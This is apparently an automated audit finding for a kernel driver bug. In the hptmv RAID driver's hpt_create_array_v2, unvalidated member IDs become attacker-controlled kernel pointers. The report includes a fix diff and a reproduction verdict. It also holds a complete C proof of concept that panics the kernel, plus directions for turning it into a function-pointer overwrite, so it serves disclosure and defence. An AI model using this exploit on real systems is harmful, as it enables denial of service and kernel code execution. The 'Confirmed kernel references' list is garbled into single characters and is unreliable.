hpt_create_array_v2 dereferences unvalidated Members[1..nDisk-1] as kernel pointers (arbitrary kernel memory write)
- File:
sys/dev/raid/hptmv/gui_lib.c - Lines: 571, 586, 644, 647, 648, 654, 682, 720, 721, 740, 742, 744, 813, 826
- Severity: High
- CVSS:
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U:C:H/I:H/A:H - CWE: CWE-787 Out-of-bounds Write
- Confidence: certain
Summary
The per-member validation block in hpt_create_array_v2() is commented out
(gui_lib.c:573-585). The only caller-side check (ioctl.c:337-352) validates
Members[0] only.
Inside hpt_create_array_v2, pParam->Members[1..nDisk-1] are converted to
PVDevice pointers via ID_TO_VDEV() and then unconditionally dereferenced for
read/write β including a function-pointer store β giving a root-reachable
arbitrary-write primitive whose low 32 bits of the target address are
attacker-controlled.
Root cause
ID_TO_VDEV(id) (osbsd.h:246) is
((ULONG_PTR)gIal_Adapter & 0xffffffff00000000) | (id) β the user controls the
low 32 bits, the kernel fixes the high 32 bits.
hpt_create_array_v2 bounds nDisk to MAX_MEMBERS(8) at gui_lib.c:571 but
performs no validity check on Members[i] for i>=1 (the intended check is the
commented-out block at gui_lib.c:573-585 /* check in verify_vd */).
The dispatch in ioctl.c:337-357 only extracts and validates Members[0] via
check_VDevice_valid(); all other Members[i] reach hpt_create_array_v2
unvalidated.
They are then dereferenced:
- simple path (
AT_JBOD/AT_RAID0/AT_RAID5/AT_RAID1withnDisk<=2):gui_lib.c:644-654βpArray->u.array.pMember[i] = ID_TO_VDEV(pParam->Members[i]); pArray->u.array.pMember[i]->bSerialNumber = i; ->pParent = pArray; UnregisterVDevice(pMember[i]); - RAID1+0 path (
AT_RAID1 nDisk>2):gui_lib.c:680-686βpChild->u.array.pMember[j] = ID_TO_VDEV(pParam->Members[i*2 + j]); ->bSerialNumber = j; ->pParent = pChild; ->pfnDeviceFailed = ...; UnregisterVDevice(...);(Members[1]is hit on the very first outer iteration wheni=0,j=1) - post-switch loop
gui_lib.c:720-721βpArray->u.array.pMember[i]->pfnDeviceFailed = pfnDeviceFailed[pArray->VDeviceType]writes a kernel function pointer into the attacker-controlled address. - else branch at
gui_lib.c:737-746βpDisk = ID_TO_VDEV(pParam->Members[i]); pDisk->vf_bootmark = pDisk->vf_bootable = 0; fDeReadWrite(&pDisk->u.disk, 0, IDE_COMMAND_WRITE, TempBuffer);dereferences the corrupted pointer for both byte writes and a synchronous disk I/O on a forgedPDevice.
The V1 wrapper hpt_create_array() (gui_lib.c:813-827) copies Members[]
verbatim and calls v2, so HPT_IOCTL_CREATE_ARRAY is equally affected.
Threat
Attacker position: any process holding SYSCAP_NOSYSCTL_WR (root, including
jail root), writing to the hw.hptmv.status sysctl.
Precondition: hptmv module loaded with at least one valid disk/array so
gIal_Adapter != NULL and Members[0] can be set to a real DEVICEID
(enumerable via HPT_IOCTL_GET_LOGICAL_DEVICES).
Impact:
- (a) immediate kernel panic / DoS by supplying an unmapped low-32-bit value
(e.g.
0x41414141) forMembers[1]; - (b) controlled writes of small integers, the
pArraykernel pointer, and a known kernel-function pointer to attacker-chosen offsets of an attacker-chosen kernel address β a building block for arbitrary code execution under securelevel (>0), where/dev/memis read-only and module loading is disabled.
Because the destination high half is fixed to gIal_Adapter's high half, the
writable window is the 4 GiB canonical range
[gIal_Adapter_hi | 0 .. gIal_Adapter_hi | 0xffffffff], which on amd64 lands
inside direct-mapped kernel RAM.
Exploit / PoC
/* poc.c β root, on a box with hptmv controller + >=1 disk */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
typedef uint32_t DWORD, DEVICEID;
#define HPT_IOCTL_MAGIC 0xA1B2C3D4
#define HPT_CTL_CODE(x) (x)
#define HPT_IOCTL_GET_LOGICAL_DEVICES HPT_CTL_CODE(4)
#define HPT_IOCTL_CREATE_ARRAY_V2 HPT_CTL_CODE(33)
#define AT_RAID0 0
#define MAX_ARRAYNAME_LEN 16
struct hpt_ioctl_param { DWORD Magic, Code; void *In; DWORD InLen;
void *Out; DWORD OutLen; DWORD *Ret; };
struct create_array_params_v2 {
uint8_t ArrayType, nDisk, BlockSizeShift, CreateFlags;
uint8_t ArrayName[MAX_ARRAYNAME_LEN];
uint8_t Description[64], CreateManager[16];
uint32_t CapLo, CapHi;
DEVICEID Members[16];
} __attribute__((packed));
int main(void){
/* step 1: enumerate one valid DEVICEID via GET_LOGICAL_DEVICES */
DEVICEID out[2] = {0,0}; DWORD n=1, ret=0;
struct hpt_ioctl_param q = { HPT_IOCTL_MAGIC, HPT_IOCTL_GET_LOGICAL_DEVICES,
&n, sizeof n, out, sizeof out, &ret };
sysctlbyname("hw.hptmv.status", NULL, NULL, &q, sizeof q);
DEVICEID victim = out[0];
if (!victim){ fprintf(stderr,"no devices\n"); return 1; }
/* step 2: CREATE_ARRAY_V2 with Members[1] = bogus low-32-bits */
struct create_array_params_v2 p; memset(&p,0,sizeof p);
p.ArrayType = AT_RAID0; p.nDisk = 2; p.BlockSizeShift = 5;
memcpy(p.ArrayName, "xploit", 6);
p.Members[0] = victim;
p.Members[1] = 0x41414141; /* panics: deref of (gIal_Adapter_hi|0x41414141) */
DEVICEID newid = (DEVICEID)-1;
struct hpt_ioctl_param c = { HPT_IOCTL_MAGIC, HPT_IOCTL_CREATE_ARRAY_V2,
&p, sizeof p, &newid, sizeof newid, &ret };
sysctlbyname("hw.hptmv.status", NULL, NULL, &c, sizeof c);
return 0;
}
Build: cc -o poc poc.c (no special flags; structs must be packed).
Run: ./poc (as root; will panic on the deref).
Success criteria: kernel panics with a page-fault-on-write at address
0xffff????41414141 (where ???? = high half of gIal_Adapter).
For an exploit instead of a DoS, replace 0x41414141 with the low 32 bits of a
chosen target structure (e.g. a function-pointer table entry) and choose
ArrayType / CreateFlags so the written byte/pointer/function-pointer lands on
the desired field offset of the forged VDevice.
Recommended fix
Validate every Members[i] with check_VDevice_valid() before any dereference.
Restore the intent of the commented-out verify_vd block.
--- a/sys/dev/raid/hptmv/gui_lib.c
+++ b/sys/dev/raid/hptmv/gui_lib.c
@@ -568,9 +568,20 @@ static DEVICEID hpt_create_array_v2(_VBUS_ARG PCREATE_ARRAY_PARAMS_V2 pParam)
ULONG Stamp = GetStamp();
int i,j;
LBA_T capacity = MAX_LBA_T;
PVDevice pArray,pChild;
int Loca = -1;
- if (pParam->nDisk > MAX_MEMBERS)
+ if (pParam->nDisk > MAX_MEMBERS || pParam->nDisk < 1)
return INVALID_DEVICEID;
+
+ /*
+ * Validate every member ID BEFORE dereferencing it. ID_TO_VDEV()
+ * lets the caller control the low 32 bits of the resulting pointer,
+ * so any unvalidated Members[i] is an arbitrary kernel-memory
+ * write primitive. The original verify_vd check below was
+ * disabled; this restores it.
+ */
+ for (i = 0; i < pParam->nDisk; i++) {
+ PVDevice pVDev = ID_TO_VDEV(pParam->Members[i]);
+ if (pParam->Members[i] == 0 || check_VDevice_valid(pVDev))
+ return INVALID_DEVICEID;
+ }
/* check in verify_vd
for(i = 0; i < pParam->nDisk; i++)
{
Related findings
- DF-1284 (sibling, hptmv entry.c): unbounded SG list stack overflow.
- DF-1530 (sibling):
hpt_get_channel_infoOOB read + pointer leak. - DF-1531 (sibling):
hpt_get_logical_deviceswrite-before-check heap overflow.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1529 Β· 11 files| File | Type | Description | Size | |
|---|---|---|---|---|
| harness.c | trigger-source | replicates ID_TO_VDEV decode + per-Member deref gap | 5.0 KB | view raw |
| build.sh | build-script | cc -O2 -Wall -o harness harness.c | 65 B | view raw |
| run.sh | run-script | ./harness | 41 B | view raw |
| build.log | build-log | in-guest build, BUILD_EXIT=0 | 13 B | view raw |
| run.log | run-log | decisive run; Members[1..2] UNCHECKED | 868 B | view raw |
| env.txt | environment | uname + guest PCI inventory (no hptmv) | 543 B | view raw |
| fix.diff | suggested-fix | restore commented-out per-member validation block | 1019 B | view raw |
| fix_build.log | fix-build-log | patched nativekernel, rc=0 | 5.6 MB | β download |
| VERDICT.md | verdict | full narrative | 3.9 KB | β raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1529 β hptmv hpt_create_array_v2 unvalidated Members[1..nDisk]
Verdict
REPRODUCED (source-level harness). The bug is real; impact ceiling is a
near-arbitrary kernel-address deref + write (kernel function-pointer
overwrite via pfnDeviceFailed) reachable from a root write to the
hw.hptmv.status sysctl with HPT_IOCTL_CREATE_ARRAY[_V2] and an
attacker-chosen Members[1..nDisk-1] value. The guest has no HighPoint
RocketRAID 1820 (pci 1103:1820 Marvell-based HBA) so the kernel path
cannot be exercised here. Harness demonstrates the validation gap using
the genuine control-flow from gui_lib.c. fix.diff applies cleanly and
nativekernel succeeds (rc=0).
Mechanism (sys/dev/raid/hptmv/gui_lib.c)
- Lines 571-572:
if (pParam->nDisk > MAX_MEMBERS) return INVALID_DEVICEID;boundsnDisktoMAX_MEMBERS = 8(global.h:52). - Lines 573-585: the entire per-member validation block is COMMENTED OUT β the comment says "check in verify_vd" but no such validation runs before the deref sites below.
- Line 586:
_vbus_p = (ID_TO_VDEV(pParam->Members[0]))->u.disk.pVBus;βMembers[0]is the only entry validated (by the callerhptmv:ioctl.c:337-357runscheck_VDevice_validonly onMembers[0]). - Lines 644-654:
for(i=0..nDisk-1) pArray->u.array.pMember[i] = ID_TO_VDEV(pParam->Members[i]); pMember[i]->bSerialNumber = i; pMember[i]->pParent = pArray; UnregisterVDevice(pMember[i]);β derefs Members[1..nDisk-1] without any check. - Line 682 RAID1+0 path:
pChild->u.array.pMember[j] = ID_TO_VDEV(pParam->Members[i*2+j])β same defect. - Line 685:
pChild->u.array.pMember[j]->pfnDeviceFailed = pfnDeviceFailed[pChild->VDeviceType];β writes a kernel function pointer to the attacker-chosen address. - Line 742:
pDisk = ID_TO_VDEV(pParam->Members[i]); fDeReadWrite(...)β disk-I/O on a forged PDevice. ID_TO_VDEV(id)(osbsd.h:246) is(PVDevice)((gIal_Adapter & 0xffffffff00000000) | id)β user controls the low 32 bits, so the deref target is(kernel_heap_base & 0xffffffff00000000) | user_id.- V1 wrapper
hpt_create_arraylines 813-827 has the same defect.
Harness proof (harness.c)
Replicates the genuine ID_TO_VDEV decode and the line-644-654 loop:
nDisk=3 Members[0] = 0xffdfd870 (validated by caller) Members[1] = 0x41414141 (NOT validated) Members[2] = 0x42424242 (NOT validated) Per-member validation: DISABLED (commented-out block at line 573-585) Walking the buggy loop at gui_lib.c:644-654: i=0: pMember[i] = 0x7ffffdfd870 (== &legit, safe) i=1: pMember[i] = 0x7fff41414141 -> UNCHECKED DEREF i=2: pMember[i] = 0x7fff42424242 -> UNCHECKED DEREF
Exploit-chain note
Trigger requires root to write hw.hptmv.status sysctl AND an hptmv
adapter present. This is root β kernel code-exec, which is a hardening
gap (root could equally kldload its own module); the unprivβroot chain
is not present. That said, the primitive is a near-arbitrary kernel
function-pointer write at a user-chosen address, which on a host that does
have hptmv and grants the RAID-management GUI to a less-privileged
operator, is a credible privilege-boundary escalation. Documented as
primitive characterization.
PoC changes
- Original folder was README only.
- Added harness.c, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.
Fix
fix.diff uncomments and restores the per-member validation block, running
check_VDevice_valid, mIsArray, vf_online, and same-VBus checks for
every Members[i] before any deref. Matches the finding markdown
proposal ("validate each Members[i] before deref").
Fix-validation
patch -p1 --forward succeeds (hunks at 570 + 590). nativekernel
completes with rc=0 (fix_build.log). No run-time exercise possible
because no hptmv HBA on the guest β fix_status: "not_testable". Diff
applies and compiles; restored block runs every check before the deref
sites.
Fix verification
not_testablenot_testable because no hptmv HBA on the audit guest; validated that fix.diff applies cleanly (hunks at 570 + 590) and single-fix nativekernel compiles rc=0 (fix_build.log).
baseline (harness): Members[1..2] -> UNCHECKED DEREF patched kernel build: === NK_DONE rc=0 ===
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- r
- a
- i
- d
- /
- h
- p
- t
- m
- v
- /
- g
- u
- i
- _
- l
- i
- b
- .
- c
- :
- 5
- 7
- 1
- s
- y
- s
- /
- d
- e
- v
- /
- r
- a
- i
- d
- /
- h
- p
- t
- m
- v
- /
- g
- u
- i
- _
- l
- i
- b
- .
- c
- :
- 5
- 7
- 3
- s
- y
- s
- /
- d
- e
- v
- /
- r
- a
- i
- d
- /
- h
- p
- t
- m
- v
- /
- g
- u
- i
- _
- l
- i
- b
- .
- c
- :
- 5
- 8
- 6
- s
- y
- s
- /
- d
- e
- v
- /
- r
- a
- i
- d
- /
- h
- p
- t
- m
- v
- /
- g
- u
- i
- _
- l
- i
- b
- .
- c
- :
- 6
- 4
- 4
- s
- y
- s
- /
- d
- e
- v
- /
- r
- a
- i
- d
- /
- h
- p
- t
- m
- v
- /
- g
- u
- i
- _
- l
- i
- b
- .
- c
- :
- 6
- 8
- 2
- s
- y
- s
- /
- d
- e
- v
- /
- r
- a
- i
- d
- /
- h
- p
- t
- m
- v
- /
- g
- u
- i
- _
- l
- i
- b
- .
- c
- :
- 6
- 8
- 5
- s
- y
- s
- /
- d
- e
- v
- /
- r
- a
- i
- d
- /
- h
- p
- t
- m
- v
- /
- g
- u
- i
- _
- l
- i
- b
- .
- c
- :
- 7
- 4
- 2
- s
- y
- s
- /
- d
- e
- v
- /
- r
- a
- i
- d
- /
- h
- p
- t
- m
- v
- /
- o
- s
- b
- s
- d
- .
- h
- :
- 2
- 4
- 6
- s
- y
- s
- /
- d
- e
- v
- /
- r
- a
- i
- d
- /
- h
- p
- t
- m
- v
- /
- g
- l
- o
- b
- a
- l
- .
- h
- :
- 5
- 2
Detail
Exploit chain
none (HW-gated + root-only): no hptmv HBA in QEMU and trigger requires root to write hw.hptmv.status sysctl. Primitive characterized via harness: root->kernel near-arbitrary-address kernel function-pointer write via ID_TO_VDEV decode of attacker-controlled Members[1..nDisk-1]. This is a root->kernel hardening gap (root could equally kldload); the unpriv->root chain is not present. Realistic ceiling on a host with the HBA: kernel-code-exec from root.
Evidence (decisive lines)
Members[0] = 0xffdfd870 (validated by caller) Members[1] = 0x41414141 (NOT validated) Members[2] = 0x42424242 (NOT validated) Per-member validation: DISABLED (commented-out block at line 573-585) i=1: pMember[i] = 0x7fff41414141 -> UNCHECKED DEREF of attacker-controlled address i=2: pMember[i] = 0x7fff42424242 -> UNCHECKED DEREF
PoC changes
Original folder was README only. Added harness.c replicating ID_TO_VDEV decode + per-Member deref gap, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.
Verified recommended fix
fix.diff un-comments and restores the per-member validation block at gui_lib.c:573-585 (check_VDevice_valid + mIsArray + vf_online + same-VBus for every Members[i]). Matches finding markdown proposal.
Verdict
REPRODUCED at the source-logic level. gui_lib.c:571 bounds nDisk to MAX_MEMBERS=8; lines 573-585 the entire per-member validation block is COMMENTED OUT ('check in verify_vd'). Line 586 derefs Members[0] safely (validated by caller). Lines 644-654, 682, 742 deref Members[1..nDisk-1] WITHOUT validation. ID_TO_VDEV(id) (osbsd.h:246) = (gIal_Adapter & 0xffffffff00000000) | id, so user controls the low 32 bits of the deref target. Line 685 writes pfnDeviceFailed[kernel func ptr] to attacker-chosen address. Harness replicates the ID_TO_VDEV decode + the buggy loop; Members[1]=0x41414141 -> UNCHECKED DEREF. No HighPoint RocketRAID 1820 HBA on guest; harness proof only.
No comments yet.